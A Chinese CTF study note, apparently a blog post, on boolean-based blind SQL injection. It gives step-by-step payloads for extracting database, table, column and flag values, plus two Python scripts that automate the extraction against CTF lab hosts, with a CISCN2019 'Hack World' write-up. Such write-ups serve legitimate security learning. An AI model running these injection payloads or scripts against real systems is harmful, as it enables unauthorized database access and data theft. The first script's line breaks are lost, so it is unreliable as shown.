寒假2.6--SQL注入之布尔盲注
知识点
原理:通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信息
适用情况:一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,通常用于在无法直接获得查询结果的情况下推断数据库信息(比如像今天这题一样很多关键字都被禁用了)
手动输入解题步骤:
1.判断注入点及注入类型:
若为整型注入:
1 and 1=1 //正常回显
1 and 1=2 //无回显
若为字符型注入(同时判断是单引号型注入还是双引号型):
1’ and 1=1 # //正常回显
1' and 1=2 # //无回显
或
1" and 1=1 # //正常回显
1" and 1=2 # //无回显
也有一些题会把后面的#换成--+,两种构造方式都是为了避免原SQL语句后续部分对注入构造的干扰
#主要适用于MySQL数据库,在其他数据库中使用可能会导致语法错误
--是标准SQL的单行注释符
e.g.
注入id=1 and 1 = 1--+和id=1 and 1 = 2--+,回显正常,排除数字型注入
注入id=1' and 1 = 1--+也正常,但是当注入id=1' and 1 = 2--+时,回显如下,说明是字符型注入,单引号闭合

2.推测数据库信息
(1)推测数据库名长度
(2)得到数据库名
函数:database()返回数据库名,length()获取字符串长度
select length(database());
当测试语句输入的过程中有不一样的,就说明得到了正确的数据库名长度,一般在输入到3或4就会得到数据库名长度了
爆长度:
法一:
1' and length(database()) =1 #
1' and length(database()) =2 #
1' and length(database()) =3 #
1' and length(database()) =4 #
……
法二:
length(str) //返回str字符串的长度。
1 and length(database())=4 //判断数据库名字的长度是否为4
1 and length(database())>4 //判断数据库名字长度是否大于4
e.g.
判断得到数据库名的长度为4


爆库名:
函数:ascii()返回字符的ASCII码,substr(str,start,length)返回字符串从str的start开始往后截取length长度的字符
1 and substring(database(),1,1)='q' //判断数据库第一个字母是否为q
1 and substring(database(),2,1)='q' //判断数据库名字第二个字母是否为q
mid(str,pos,len) //跟上面的用法一模一样,截取字符串
3.爆表
(1)表数量
1 and (select count(table_name) from information_schema.tables where table_schema=database())=1
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
1 and (select count(table_name) from information_schema.tables where table_schema=database())=3
1 and (select count(table_name) from information_schema.tables where table_schema=database())=4
……
(2)根据库名和表数量爆表名长度
limit i,1
i从0开始(第i+1张表)
e.g.
第一张表表名长度:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
第二张:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4
(3)根据表名长度爆表名
substr((select…limit i,1),j,1)
i从0开始(第i+1张表),j从1开始(第j个字符)
再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名
4.爆列
(1)爆列数量
和爆表数量一样
(2)根据表名和列数量爆列名长度
操作同对当前库爆表名长度的步骤,i是列标-1
limit i,1
i从0开始(第i+1列)
(3)爆列名
i是列标-1,j是字符下标
substr((select…limit i,1),j,1))
i从0开始(第i+1列),j从1开始(第j个字符)
5.爆数据
flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束
substr((select…),j,1)
j从1开始(flag的第j个字符)
脚本
手工布尔盲注通常比较麻烦,也可以选择写个脚本来进行自动化突破
找了一个写得比较好的脚本
import requests as re# 设置需要sql注入的网站
url = 'http://cbbacb03-13d3-4374-8fef-7da0e51dbbb1.node5.buuoj.cn:81/index.php'# 提前做好接受flag的变量
flag = ''# 循环函数
for i in range(1, 1000):print(f'{i}:\n')# 这里设置最大值和最小值使用二分化的方法跑效率比一般的快超级多high = 128low = 30# 这里设置循环函数,如果最大值小于最小值那么退出while low <= high:mid = (low + high)//2# 爆库名# sql1 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))={mid})^1'# sql2 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})^1'# sql3 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))<{mid})^1'# 爆表名# sql1 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))={mid})^1'# sql2 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))>{mid})^1'# sql3 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))<{mid})^1'# 爆字段名sql1 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))={mid})^1'sql2 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})^1'sql3 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))<{mid})^1'# 设置id值data1 = {'id': sql1}data2 = {'id': sql2}data3 = {'id': sql3}# 通过post传入参数然后给r1 r2 r3r1 = re.post(url=url, data=data1)r2 = re.post(url=url, data=data2)r3 = re.post(url=url, data=data3)# Hello出现在页面时说明是对的,输出flagif 'Hello' in r1.text:flag += chr(mid)print(flag)break# Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flagif 'Hello' in r2.text:low = mid + 1# Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flagif 'Hello' in r3.text:high = mid - 1continueprint(flag)
例题
[CISCN2019 华北赛区 Day2 Web1]Hack World
打开界面,提醒flag值在flag表的flag列中
输入数字1,2时,回显不同 ,直到输入3,后面的都一样
![]()


随便输入一个字母,回显都一样,提示类型错误,猜测为数字型注入

输入1'试试

尝试注入并查询
1 union select flag from flag
回显SQL注入检测,说明有东西被过滤了

看一下源代码,没有什么收获

用bp抓包再用fuzz字典爆破一下试试
从回显来看,length=535的字符全部被过滤了,包括union、select、extracvalue、updatexml、sleep等常见注入关键字,所以只能选择布尔盲注了

测试一下
1^1^1

1^0^1

这里用到的一个脚本参考了其他大佬的wp,但是因为运行的时候连接超时,所以做了适当延时
大致思路:(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来
脚本:
import time
import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry# 配置重试机制
retry_strategy = Retry(total=3, # 最大重试次数backoff_factor=1, # 重试间隔时间的增长因子status_forcelist=[429, 500, 502, 503, 504], # 需要重试的 HTTP 状态码allowed_methods=["POST"] # 允许重试的 HTTP 方法
)
adapter = HTTPAdapter(max_retries=retry_strategy)
http = requests.Session()
http.mount("https://", adapter)
http.mount("http://", adapter)url = "http://f7cf7bbe-3b9b-4d11-ae04-7dd65d2fc943.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):for j in range(32, 128):try:time.sleep(0.1) # 适当延时,避免给目标服务器造成过大压力payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"# 设置超时时间为 10 秒response = http.post(url=url, data={'id': payload.format(m=i, n=j)}, timeout=10)if response.text.find('girl') == -1:result += chr(j)print(j)breakexcept requests.exceptions.ConnectTimeout:print(f"请求超时,当前位置: {i}, 当前字符码: {j}")except requests.exceptions.RequestException as e:print(f"请求发生错误: {e}")print("正在注出flag:", result)
print("flag的值为:", result)
相关文章:
寒假2.6--SQL注入之布尔盲注
知识点 原理:通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信息 适用情况:一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,通常用于在无法直接…...
CTF中特别小的EXE是怎么生成的
我们在打CTF时候,出题的爷爷们给出的exe都很小 就10k左右,有的甚至就5k,那时候我很郁闷啊。现在我也能了啊哈哈 不多bb按如下操作: 我们来看看正常的release生成的代码# Copy #include "windows.h" int main(){ Messa…...
git rebase 和 git merge的区别
Rebase 可使提交树变得很干净, 所有的提交都在一条线上。 Merge 则是包含所有的调试记录,合并之后,父级的所有信息都会合并在一起 Rebase 修改了提交树的历史 比如, 提交 C1 可以被 rebase 到 C3 之后。这看起来 C1 中的工作是在 C3 之后进行的…...
Gitlab中如何进行仓库迁移
需求:之前有一个自己维护的新仓库A,现在需要将这个仓库提交并覆盖另一个旧的仓库B,需要保留A中所有的commit信息。 1.方法一:将原有仓库A导出后再导入到新的仓库B中 适用场景:新的仓库B是一个待建仓库,相当…...
LabVIEW 开发航天项目软件
在航天项目软件开发中,LabVIEW 凭借其图形化编程优势被广泛应用。然而,航天项目的高可靠性、高精度及复杂环境适应性要求,使得在使用 LabVIEW 开发时,有诸多关键要点需要特别关注。本文将详细分析在开发航天项目软件时需要重点注意…...
深度整理总结MySQL——MySQL加锁工作原理
MySQL加锁工作原理 前言前置知识- 锁为什么加在索引上锁的粒度优化提高并发性避免全表扫描优化死锁处理解决幻读问题 什么SQL语句会加行级锁MySQL是如何加行级锁场景模拟代码唯一索引等值查询退化为记录锁为什么会退化为记录锁分析加了什么锁为什么会退化为间隙锁为什么我可以插…...
kafka专栏解读
kafka专栏文章的编写将根据kafka架构进行编写,即先编辑kafka生产者相关的内容,再编写kafka服务端的内容(这部分是核心,内容较多,包含kafka分区管理、日志存储、延时操作、控制器、可靠性等),最后…...
1-portal认证功能
很多时候公共网络需要提供安全认证功能,比如我们去星巴克或者商场、酒店,我们连接wifi上网的时候, 需要认证后才可以上网。 用户可以主动访问已知的Portal认证网站,输入用户名和密码进行认证,这种开始Portal认证的方式…...
MySQL面试题合集
1.MySQL中的数据排序是怎么实现的? 回答重点 排序过程中,如果排序字段命中索引,则利用 索引排序。 反之,使用文件排序。 文件排序中,如果数据量少则在内存中排序, 具体是使用单路排序或者双路排序。 如果数据大则利用磁盘文件进行外部排序,一 般使用归并排序。 知识…...
spring学习(druid、c3p0的数据源对象管理)(案例学习)
目录 一、博客引言。 二、阿里云-druid案例准备(依赖坐标、配置文件、测试类)。 (1)初始依赖坐标、配置文件与测试类。 (2)导入阿里云-druid依赖坐标。 (3)DruidDataSource。 (4)set…...
WordPress博客在fnOS环境下的极简搭建与公网地址配置指南
文章目录 前言1. Docker下载源设置2. Docker下载WordPress3. Docker部署Mysql数据库4. WordPress 参数设置5. 飞牛云安装Cpolar工具6. 固定Cpolar公网地址7. 修改WordPress配置文件8. 公网域名访问WordPress 前言 你是否曾经为搭建自己的网站而头疼不已?是不是觉得…...
【PG】DROP TABLE ... CASCADE
问题 ERROR: cannot drop table wx_user_tag because other objects depend on it DETAIL: default value for column id of table wx_user_tag depends on sequence wx_user_tag_id_seq HINT: Use DROP … CASCADE to drop the dependent objects too. 解决 这个错误消息表…...
绕组电感 - Ansys Maxwell 磁通链与电流
在本博客中,我将演示如何使用 Ansys Maxwell 中磁瞬态求解器的磁通链和电流结果来计算绕组电感。Ansys Maxwell 磁瞬态求解器在场计算中考虑了涡流效应,我将展示一种使用磁通链和电流结果来计算绕组电感的简单方法。 实际上,电感是非线性的…...
物联网软件开发与应用方向应该怎样学习,学习哪些内容,就业方向是怎样?(文末领取整套学习视频,课件)物联网硬件开发与嵌入式系统
随着物联网技术的飞速发展,物联网软件开发与应用方向成为了众多开发者关注的焦点。那么,如何在这个领域中脱颖而出呢?本文将为你提供一份详细的学习指南,帮助你从零开始,逐步掌握物联网软件开发与应用的核心技能。 一…...
《LeetCode Hot100》 Day01
Day01 轮转数组 思路: (1) 使用O(1) 空间复杂度解决,就需要原地解决,不能创建新的数组。 (2) 先整体反转数组,再反转前k个数,再反转剩下的数。即可完整本题。 &…...
vue动态table 动态表头数据+动态列表数据
效果图: <template><div style"padding: 20px"><el-scrollbar><div class"scrollbar-flex-content"><div class"opt-search"><div style"width: 100px"> </div><div class"opt-b…...
1.3 GPT vs BERT 终极选择指南:从架构差异到企业级落地策略
GPT vs BERT 终极选择指南:从架构差异到企业级落地策略 引言:两大巨头的分道扬镳 2018年,BERT和GPT系列同时引爆NLP领域,却在架构选择上走向截然不同的道路: BERT采用双向Transformer Encoder,在11项NLP…...
python-leetcode 23.回文链表
题目: 给定单链表的头节点head,判断该链表是否为回文链表,如果是,返回True,否则,返回False 输入:head[1,2,2,1] 输出:true 方法一:将值复制到数组中后用双指针法 有两种常用的列表实现&#…...
食品饮料生产瓶颈?富唯智能协作机器人来 “破壁”
在食品和饮料行业的发展进程中,诸多生产瓶颈如重复性劳动负担、复杂环境作业难题、季节性产能波动等,长期制约着企业的高效运营与进一步发展。如今,富唯智能协作机器人的出现,为这些难题提供了完美的解决方案,正逐步改…...
Golang GORM系列:GORM CRUM操作实战
在数据库管理中,CRUD操作是应用程序的主干,支持数据的创建、检索、更新和删除。强大的Go对象关系映射库GORM通过抽象SQL语句的复杂性,使这些操作变得轻而易举。本文是掌握使用GORM进行CRUD操作的全面指南,提供了在Go应用程序中有效…...
UE5 学习系列(二)用户操作界面及介绍
这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…...
【杂谈】-递归进化:人工智能的自我改进与监管挑战
递归进化:人工智能的自我改进与监管挑战 文章目录 递归进化:人工智能的自我改进与监管挑战1、自我改进型人工智能的崛起2、人工智能如何挑战人类监管?3、确保人工智能受控的策略4、人类在人工智能发展中的角色5、平衡自主性与控制力6、总结与…...
K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...
Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...
SCAU期末笔记 - 数据分析与数据挖掘题库解析
这门怎么题库答案不全啊日 来简单学一下子来 一、选择题(可多选) 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘:专注于发现数据中…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...
STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...
dedecms 织梦自定义表单留言增加ajax验证码功能
增加ajax功能模块,用户不点击提交按钮,只要输入框失去焦点,就会提前提示验证码是否正确。 一,模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...
Unit 1 深度强化学习简介
Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库,例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体,比如 SnowballFight、Huggy the Do…...
自然语言处理——循环神经网络
自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元(GRU)长短期记忆神经网络(LSTM)…...
